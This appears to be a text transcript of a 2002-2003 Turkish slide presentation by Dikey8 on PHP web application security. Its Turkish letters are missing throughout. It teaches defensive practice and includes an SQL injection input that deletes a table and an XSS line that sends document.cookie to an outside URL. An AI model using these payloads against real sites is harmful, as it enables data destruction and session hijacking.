PHP ile Web Uygulama Güvenliği - · PDF file© 2002, 2003 Dikey8 Bilişim...
Transcript of PHP ile Web Uygulama Güvenliği - · PDF file© 2002, 2003 Dikey8 Bilişim...
2002, 2003 Dikey8 Biliim Gvenlii Giriimi
PHP ile Web Uygulama GvenliiBurak DAYIOLU - Bur YILDIRIM
[email protected] [email protected]
http://www.dikey8.com
2002, 2003 Dikey8 Biliim Gvenlii Giriimi
Webde Gvenlik htiyac Webe bamllmz giderek artyor
Uygulamalar artan biimde grev-kritik hale geliyor
Web uygulamalar giderek karmaklayor Uygulamalarn eitlilii ve uygulamalardan
beklentiler artyor Web giderek bir platform biimine dnyor
2002, 2003 Dikey8 Biliim Gvenlii Giriimi
Web Uygulama Gvenlii Web uygulama gvenlii tek bir noktaya
odaklanarak salanamaz; Fiziksel Gvenlik A Altyapsnn Gvenlii Sunucu Bilgisayar Sistemlerinin Gvenlii Web Sunucu Yazlmlarnn Gvenlii Uygulama Platformunun Gvenlii letiim Gvenlii Uygulama Gvenlii stemci Gvenliibir arada deerlendirilmelidir
2002, 2003 Dikey8 Biliim Gvenlii Giriimi
A Altyapsnn Gvenlii Gvenlik duvarlar ile alar arasnda yaltm
Web sunucuya doru yalnzca web istemlerinin gemesine izin verilmesi
Tm dier eriimlerin kayt edilmesi ve dzenli izlenmesi
Saldr tespit sistemleri ile a trafiinin izlenmesi Anormal/beklenmedik trafiin tespit edilmesi Bilindik web saldrlarnn tespit edilmesi Tespit edilen saldrlara hzla mdahale edilmesi
2002, 2003 Dikey8 Biliim Gvenlii Giriimi
DDoS Korumas Egress/Ingress Filtrelemesi
Kurum ii kullanm iin rezerve edilen IP adres bloklarnda yer alan IP adreslerinden kuruma gelen ve kurumdan kan IP paketlerinin filtrelenmesi 10.0.0.0/24 192.168.0.0/24 ...
Traffic Rate Throttle Trafiin ani artn tespit eden ve belirli bir limitten
hzl artmasn engelleyen teknoloji
2002, 2003 Dikey8 Biliim Gvenlii Giriimi
Sunucu Sistemin Gvenlii Minimalist yaklam
Yalnzca gerekli srelerin iletilmesi Kullanclara ve yazlmlara yalnzca gerektiince
yetki verilmesi Sunucu sistemin ve srelerin retici tarafndan
tavsiye edilen gvenlik ayarlarnn yaplmas Sunucu gvenlik duvarnn kullanlmas Dosya btnlk denetleyicilerinin kullanlmas altrlan tm yazlmlarn ve iletim sisteminin
Gncel yamalarnn izlenmesi lgili olanlarnn vakit geirmeden uygulanmas
2002, 2003 Dikey8 Biliim Gvenlii Giriimi
Web Sunucusunun Gvenlii DoS Korumas
MaxClients 200
Olabildiince kapsaml kayt tutulmasCustomLog /var/log/httpd/access_log combined
Gereksiz rnek uygulamalarn kaldrlmas Cgi-bin, php, asp ...
Webden grntlenmesi uygun olmayan dosyalarn gizlenmesi
2002, 2003 Dikey8 Biliim Gvenlii Giriimi
Web Sunucusunun Gvenlii -2 Dizin listelemesinin iptal edilmesi
Options Indexes
...
2002, 2003 Dikey8 Biliim Gvenlii Giriimi
PHP Ortamnn Gvenlii PHP ayar dosyasnda en azndan aadaki
ayarlar yaplm olmaldr display_errors = off log_errors = on error_log = /usr/local/apache/logs/php-errors file_uploads=off allow_url_fopen=off
2002, 2003 Dikey8 Biliim Gvenlii Giriimi
letiim Gvenlii stemci ve sunucu arasnda TLS/SSL kullanlmas
iletiim gizliliini salayabilir letiim nc ahslar tarafndan dinlenemez SSL, saysal sertifikalar ile sunucu ve istemcinin
birbirinin kimliini dorulamasna da imkan verir SSL ve sunucu performansna etkisi
Tm iletiimin ifrelenmesi, ok sayda istemcinin olduu durumda ciddi bir sunucu yk oluturacaktr
En azndan kredi kart bilgilerinin alnd, kullanc ad ve parolalarn alnd ekranlarda kullanlmas nerilir
SSL-hzlandrclar ifrelemeden doan performans probleminin zmlenmesi iin kullanlabilir
2002, 2003 Dikey8 Biliim Gvenlii Giriimi
PHP Uygulamalarnn Gvenlii Formlar ve Veri Girileri Kullanc Dorulama Oturum Ynetimi ve erezler Cross-Site Scripting
2002, 2003 Dikey8 Biliim Gvenlii Giriimi
Form Alanlarnn Denetimi Uzunluun denetimi
Alan tarma (ing. buffer-overflow) saldrlar eriin denetimi
Yalnzca uygun harflere izin ver (alternatifi olan yasak harfleri aradan ok daha baarl
Sokuturma (ing. injection) saldrlar Command injection SQL injection ...
2002, 2003 Dikey8 Biliim Gvenlii Giriimi
SQL Sokuturma rnei Kaynak koddaki ilgili blm
Kullanc gvenlik girdiinde
Kullanc ; DELETE FROM HABERLER-- girdiinde
$query = SELECT HBASLIGI FROM HABERLER WHERE HABER LIKE % . $aramakriteri . %;
SELECT HBASLIGI FROM HABERLER WHERE HABER LIKE %gvenlik%
SELECT HBASLIGI FROM HABERLER WHERE HABER LIKE %; DELETE FROM HABERLER--%
2002, 2003 Dikey8 Biliim Gvenlii Giriimi
SQL Sokuturma Sonucu
2002, 2003 Dikey8 Biliim Gvenlii Giriimi
Form Alanlarnn Denetimi - 2 Radyo ve ekmeli listelerden gelecek bilgiler de
denetlenmelidir
ODT
Hacettepe nv.
stanbul nv.
2002, 2003 Dikey8 Biliim Gvenlii Giriimi
Beklenmedik Form Alanlar PHP uygulamalarnda kullanc tarafndan
gnderilen form alanlar otomatik olarak global bir deiken olarak tanmlanr(d): test.php adndaki deneme program yalnzca no
parametresi alyor iken test.php?no=5&enbuyuk=1 biiminde arlabilir
PHP 4.2.0 ncesinde enbuyuk otomatik olarak bir global deiken olarak tanmlanyor
PHP 4.2.0 ile birlikte superglobal kavram geldi $_GET $_POST $_GET[no]
2002, 2003 Dikey8 Biliim Gvenlii Giriimi
Gizli Deikenler ve Metodlar Gizli Deikenler (Hidden Variables)
Kullancya emanet edilen sunucu ile ilgili bilgidir Gvenilir deildir; kullanclar deerini deitirebilir Mmkn olduunca kullanmndan kanlmaldr
GET/POST metodlar ve gvenlik GET ile gnderilen form alanlar tarayc adres
ubuunda grnr Gvenlik asndan herhangi bir farklar yoktur Formunuzu hangi metod ile bilgi gnderecek biimde
tanmladysanz yalnzca o metod ile gelen bilgileri deerlendiriniz
2002, 2003 Dikey8 Biliim Gvenlii Giriimi
Kullanc Dorulama Kullanc dorulama mmkn ise SSL zerinden
gerekletirilmelidir Kullanclar sunucunun doruluundan emin olur Kullanclar ve sunucular arasndaki iletiim
dinlenemez Kullanc dorulama bilgileri ifrelenmi biimde
depolanmaldr Mmkn ise kullanc parolalarnn belirli
aralklar ile yenilenmesi salanmaldr
2002, 2003 Dikey8 Biliim Gvenlii Giriimi
Kaba Kuvvet Saldrlar Kullanclarn kaliteli parola semesine yazlm
destei Kullanc adnn m yoksa parolann m yanl
girildii bildirilmemelidir N sefer yanl parola girii denemesi sonunda
hesap kilitlenebilir ya da hesabn sahibi bilgilendirilebilir
N sefer yanl parola girii sonrasnda giriimde bulunan IP geici sre ile hizmetten alkoyulabilir
Her yanl girite sistem daha ge yant verebilir
2002, 2003 Dikey8 Biliim Gvenlii Giriimi
Oturum Ynetimi HTTP protokol oturum temelli deildir
Tm sayfalar ve bu sayfalara yaplan istekler bamszdr
Bu model web uygulamalar iin uygun deildir Web uygulamalar durum ile ilgili bilgiyi saklamak ve
kullanmak istemektedir Cookieler ve parametreler ile oturum oluturulmas
stemcide saklanan bilgi ile son durumun her yeni istekte batan oluturulmas
http://www.dikey8.com/index.php?PHPSESSID=fb15c97f84e437455be7284860af541f
2002, 2003 Dikey8 Biliim Gvenlii Giriimi
Oturum Gvenlii stemci tarafnda olabildiince az bilgi
saklanmal, saklanan bilgilere de gvenilmemelidir Cookieler ierisinde geerli kullanc ad, kredi kart
gibi bilgiler kesinlikle saklanmamaldr Bir saldrgan cookieleri deitirebilir Cookieler alnabilir
Cookieler ya da URL ile istemler arasnda tanan bilgiler yalnzca kullanc tanmlaycs ile snrl olmaldr Oturum ile ilikilendirilmi tm dier bilgiler sunucu
zerinde saklanmaldr PHPnin oturum ilevleri bu modelde almak zere
tasarlanm ve gelitirilmitir
2002, 2003 Dikey8 Biliim Gvenlii Giriimi
Kullanc Tanmlaycs Gvenlii
Kullanc tanmlaycs olarak seilen belirteler sradan atanmamal, geni bir aralktan rastgele seilmelidir Kolayca tahmin edilemeyen kullanc tanmlayclar
Tanmlayclar, sunucu tarafnda oturum ile ilgili dier bilgiler ile elenmelidir stemci IP adresi, tarayc marka/modeli, ... Bir tanmlayc ile, rnein, farkl bir IP adresinden
istem geldiinde bu istem bir saldr olarak deerlendirilmelidir
2002, 2003 Dikey8 Biliim Gvenlii Giriimi
Oturum Gvenlii Oturum denetimi iin HTTP_REFERERn
kullanlmas uygun deildir Bir nce ziyaret edilen sayfa (HTTP_REFERER) istemci
tarafndan gnderilen bir bilgidir Bir saldrgan diledii adresi bir nce ziyaret ettiim
sayfa olarak sunucuya gnderebilir
2002, 2003 Dikey8 Biliim Gvenlii Giriimi
Cross-Site Scripting Bir kullanc tarafndan girilen bilgilerin bir baka
kullanc tarafndan grntlenebildii durumlar dikkatle incelenmelidir Forumlar, ziyareti defterleri, webmail vb.
Girilebilecek bilgiler iinde yer alabilecek HTML TAGleri dier kullanclarn bu bilgileri nasl grntleyeceini de deitirebilir
window.open("http://www.dikey8.com?cook="+document.cookie);
2002, 2003 Dikey8 Biliim Gvenlii Giriimi
Cross-Site Scripting Mmknse kullanclar tarafndan girilen
bilgilerin baka kullanclarca grntlenebilmesinden kanlmaldr
Bunun mmkn olmad durumlarda aadaki TAGler elenmelidir
Aadaki nitelikleri barndran TAGlerin tm
elenmelidir
2002, 2003 Dikey8 Biliim Gvenlii Giriimi
zet Web uygulamalarnn gvenliinin salanmas
kurumlar iin yaamsal nemli olabilir Web uygulama gvenlii tek bir noktaya
odaklanarak salanamaz A altyapsnn, sunucu sistemlerinin, sunucu
yazlmlarn, iletiimin ve uygulamalarn gvenliinin bir arada ele alnmas gerekmektedir
Uygulama gelitirme srecinde Kullanclara ve onlarn eylemlerine gvenilmemesi stemci bilgisayar sistemleri zerinde olabildiince az
bilgi depolanmaskonularna zellikle dikkat edilmelidir